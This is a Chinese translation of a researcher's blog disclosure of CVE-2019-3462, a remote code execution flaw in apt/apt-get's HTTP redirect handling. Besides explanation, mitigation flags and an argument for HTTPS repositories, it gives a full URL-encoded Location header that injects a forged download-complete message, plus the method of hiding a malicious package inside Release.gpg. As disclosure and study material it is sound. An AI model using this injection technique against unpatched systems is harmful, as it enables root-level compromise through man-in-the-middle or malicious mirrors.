apt/apt-get远程代码执行漏洞深度解析

本文详细分析了apt/apt-get软件包管理器中存在的远程代码执行漏洞(CVE-2019-3462),攻击者可通过中间人攻击或恶意镜像在系统安装包时以root权限执行任意代码。文章包含漏洞原理、利用方式和修复方案。

apt/apt-get中的远程代码执行漏洞

Max Justicz

2019年1月22日

tl;dr 我在apt中发现了一个漏洞,允许网络中间人(或恶意软件包镜像)在以root权限安装任何软件包的机器上执行任意代码。该漏洞已在最新版本的apt中修复。如果您担心在更新过程中被利用,可以通过在更新时禁用HTTP重定向来保护自己。要执行此操作,请运行:

1
2
$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

如果您当前的软件包镜像默认进行重定向(意味着使用该标志时无法更新apt),您需要选择不同的镜像或直接下载软件包。Debian上的具体升级说明可以在这里找到。Ubuntu的公告可以在这里找到。

作为概念验证,以下是我利用以下Dockerfile的视频:

1
2
3
FROM debian:latest

RUN apt-get update && apt-get install -y cowsay

背景

在获取数据时,apt会派生子进程,这些子进程专门处理用于数据传输的各种协议。然后,父进程通过stdin/stdout与这些工作进程通信,使用类似于HTTP的协议告诉它们要下载什么以及将其放在文件系统的什么位置。例如,当在使用通过HTTP提供的仓库的机器上运行apt install cowsay时,apt会派生出/usr/lib/apt/methods/http,该进程返回一个100 Capabilities消息:

1
2
3
4
100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

然后,父进程将发送其配置并请求资源,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...省略更多行...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

工作进程将响应类似以下内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

当HTTP服务器响应重定向时,工作进程返回103 Redirect而不是201 URI Done,父进程使用此响应来确定接下来应该请求什么资源:

1
2
3
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

漏洞

不幸的是,HTTP获取进程对HTTP Location头进行URL解码,并盲目地将其附加到103 Redirect响应中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 来自 methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// 来自 apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
   std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
             << "New-URI: " << NewURI << "\n"
             << "\n" << std::flush;
   Dequeue();
}

(注意:不同版本的apt在这里存在重要差异。上面的代码来自1.4.y,这是最近Debian使用的版本。一些最近的Ubuntu版本使用1.6.y,它不仅仅盲目地附加URI,但仍然存在注入漏洞,可以注入到随后对HTTP获取进程发出的600 URI Acquire请求中。我没有检查其他版本。)

因此,如果HTTP服务器发送Location: /new-uri%0AFoo%3A%20Bar,HTTP获取进程将回复以下内容:

1
2
3
4
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

或者,如果HTTP服务器发送:

1
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

那么HTTP获取进程将回复:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

父进程将信任注入的201 URI Done响应中返回的哈希值,并将其与签名包清单中的值进行比较。由于攻击者控制报告的哈希值,他们可以利用此漏洞令人信服地伪造任何软件包。

植入恶意软件包

在我的概念验证中,因为我选择立即注入201 URI Done响应,所以我必须处理实际上还没有下载任何软件包的事实。我需要一种方法将我的恶意.deb放到系统上,以便在Filename参数中使用。

为此,我利用了在apt update期间拉取的Release.gpg文件既可塑又安装到可预测位置的事实。具体来说,Release.gpg包含ASCII-armored PGP签名,看起来像:

1
2
3
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

但是apt的签名验证过程完全允许该文件中存在其他垃圾,只要它不触及签名。因此,我拦截了Release.gpg响应,并在其前面添加了我的恶意deb:

1
2
3
4
<oops.deb内容>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

然后,我将201 URI Done响应中的Filename参数设置为指向:

1
/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

HTTP与HTTPS的争论

默认情况下,Debian和Ubuntu都使用纯HTTP仓库(Debian允许您在安装过程中选择所需的镜像,但实际上不支持HTTPS仓库 - 您必须先安装apt-transport-https)。

如果软件包清单已签名,为什么还要使用HTTPS?毕竟,隐私收益很小,因为软件包的大小是众所周知的。而且使用HTTPS使缓存内容更加困难。

人们有时对此非常热情。有专门的单用途网站解释为什么在apt的上下文中使用HTTPS是无意义的。

这些都是很好的观点,但像我在这篇文章中写的这样的漏洞是存在的。而且这个漏洞甚至不是特别的 - 这是Jann Horn在2016年发现的另一个具有相同影响的漏洞。是的,恶意镜像仍然可以利用这样的漏洞,即使使用HTTPS。但我怀疑网络对手提供漏洞的可能性远大于deb.debian.org提供一个漏洞或他们的TLS证书被泄露的可能性。

(这一切都假设apt-transport-https本身没有灾难性的破坏。我没有审计它,但它看起来像是libcurl的一个相对薄包装。)

支持HTTP是可以的。我只是认为值得将HTTPS仓库设为默认 - 更安全的默认值 - 并允许用户在以后选择降级其安全性。如果默认软件包服务器使用HTTPS,我将无法利用本文顶部的Dockerfile。

结论

感谢apt维护者快速修补此漏洞,以及Debian安全团队协调披露。此漏洞已被分配CVE-2019-3462。

联系方式

Max Justicz
max@justi.cz
mastodon.mit.edu/@maxj

我会在仅几篇文章后放弃这个博客吗?敬请关注并找出答案!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计